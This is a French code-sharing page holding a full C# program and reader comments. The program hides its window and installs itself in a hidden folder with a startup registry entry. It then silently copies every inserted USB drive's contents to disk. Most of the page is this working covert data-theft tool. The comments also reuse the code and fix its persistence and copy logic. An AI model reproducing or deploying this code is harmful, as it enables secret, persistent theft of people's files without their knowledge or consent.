Soyez le premier à donner votre avis sur cette source.
Vue 13 298 fois - Téléchargée 1 513 fois
////////////////////////////////////////////////////////////////////////////////////////////////////// /// créé le 2 Août 2010 et fonctionnel sur XP, modifié 13 août 2010 /// http://jo.comoj.com ////////////////////////////////////////////////////////////////////////////////////////////////////// using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.IO; using Microsoft.Win32; using System.Runtime.InteropServices; namespace ConsoleApplication17 { class Program { // importte des dll pour cacher la fenêtre [DllImport("user32.dll")] public static extern IntPtr FindWindow(string lpClassName, string lpWindowName); [DllImport("user32.dll")] static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); // Crée un nombre aléatoire pour un nom de dossier static Random rndNumbers = new Random(); static void Main(string[] args) { //vérifie si le répertoire qui reçoit les données existe if (!Directory.Exists(@"C:\test\")) { //sinon on le crée Directory.CreateDirectory(@"C:\test\"); // Console.WriteLine("répertoire créé"); // Console.ReadKey(); // l'exécutable se copie directement dans le répertoire cible //Environment.CurrentDirectory+"usbcopie.exe" File.Copy(System.Reflection.Assembly.GetExecutingAssembly().Location, @"C:\test\usbcopie.exe"); // Console.WriteLine("fichier exécutable copié"); // mettre l'atrribut du répertoire caché DirectoryInfo dirInfo = new DirectoryInfo(@"C:\test\"); dirInfo.Attributes = FileAttributes.Hidden; // Console.WriteLine("attribut du répertoire : \"caché\""); // Console.ReadKey(); } //Console.ReadKey(); RegistryKey rkApp = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); //On //ouvre toujours la clé if (!rkApp.GetValueNames().Any(s => s == "Bobo")) //Si la donnée n'existe pas, on la crée { //name of your application as you want it to appear in msconfig rkApp.SetValue("Bobo", @"C:\test\usbcopie.exe"); } // Cache la fenêtre ... IntPtr hWnd = FindWindow(null, Console.Title); if (hWnd != IntPtr.Zero)// cache la fenêtre en cours ShowWindow(hWnd, 0); // 0 = SW_HIDE OkGo(); } static private void OkGo() { // on enregistre le nombre de disques présent sur le système int nrbLecteurs = DriveInfo.GetDrives().Length; int noDossier=rndNumbers.Next(); while (true) { // si le nombre de lecteurs a changé if (DriveInfo.GetDrives().Length > nrbLecteurs) { // Pour chaque lecteur foreach (DriveInfo di in DriveInfo.GetDrives()) { // Si c'est un disque amovible if (di.DriveType == DriveType.Removable) { DirectoryInfo lecteurUSB = new DirectoryInfo(di.RootDirectory.ToString()); while (Directory.Exists(@"C:\test\" + noDossier)) noDossier=rndNumbers.Next(); DirectoryInfo receptacle = new DirectoryInfo(@"C:\test\" + noDossier); Copie(lecteurUSB, receptacle); //on incrémente le nom du répertoire pour une future sauvegarde rndNumbers.Next(); // Console.WriteLine("ok bob" + receptacle.ToString() + lecteurUSB.ToString()); } } } // on enregistre le nombre de lecteurs pour détecter les insersions nrbLecteurs = DriveInfo.GetDrives().Length; // dort pour pas engorgée le système System.Threading.Thread.Sleep(1000); } } // Copie récursive du lecteur USB public static void Copie(DirectoryInfo source, DirectoryInfo cible) { // Vérifie si le répertoire existe, sinon il le crée if (!Directory.Exists(cible.FullName)) { Directory.CreateDirectory(cible.FullName); } // copie chaque fichier dans le nouveau répertoire foreach (FileInfo fichier in source.GetFiles()) { try { fichier.CopyTo(Path.Combine(cible.ToString(), fichier.Name)); } catch { fichier.CopyTo(Path.Combine(cible.ToString(), rndNumbers + fichier.Name)); } } // Copie chaque répertoire de la source foreach (DirectoryInfo sousRepertoire in source.GetDirectories()) { // crée un sous-répertoire dans le répertoire cible et rappel la méthode avec comme source un répertoire DirectoryInfo prochaineCible = cible.CreateSubdirectory(sousRepertoire.Name); Copie(sousRepertoire, prochaineCible); } } } }
Votre script est très intéressant, j'ai récupéré une partie de votre code pour l'intégrer à mon projet(vb.net) -> la fonction "OkGo()" et la fonction "Copie".
J'aimerai rajouter la recherche par extension ("*.*", System.IO.SearchOption.AllDirectories). j'ai beau regarder dans tous les sens, je n'y arrive pas. Pouvez-vous m'aider?
Merci d'avance. Cordialement.
Merci beaucoup
et en changeant le signe != de la ligne 76 par > et en mettant la ligne 96 en dehors du if, donc à la ligne 98 on évite de recopié lors de l'enlèvement d'une clé
La ligne 48 (if (Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Bobo") == null)) renvoie toujours false, donc on écrit toujours la valeur Bobo.
Je corrigerai de la façon suivante :
// ouvre l'accès en écriture à la clé de registre des programmes de démarage
RegistryKey rkApp = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); //On ouvre toujours la clé
if (!rkApp.GetValueNames().Any(s => s == "Bobo")) //Si la donnée n'existe pas, on la crée
{
//name of your application as you want it to appear in msconfig
//System.AppDomain.CurrentDomain.FriendlyName
rkApp.SetValue("Bobo", @"C:\test\usbcopie.exe");
//Console.WriteLine("clé de registre créée");
}
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.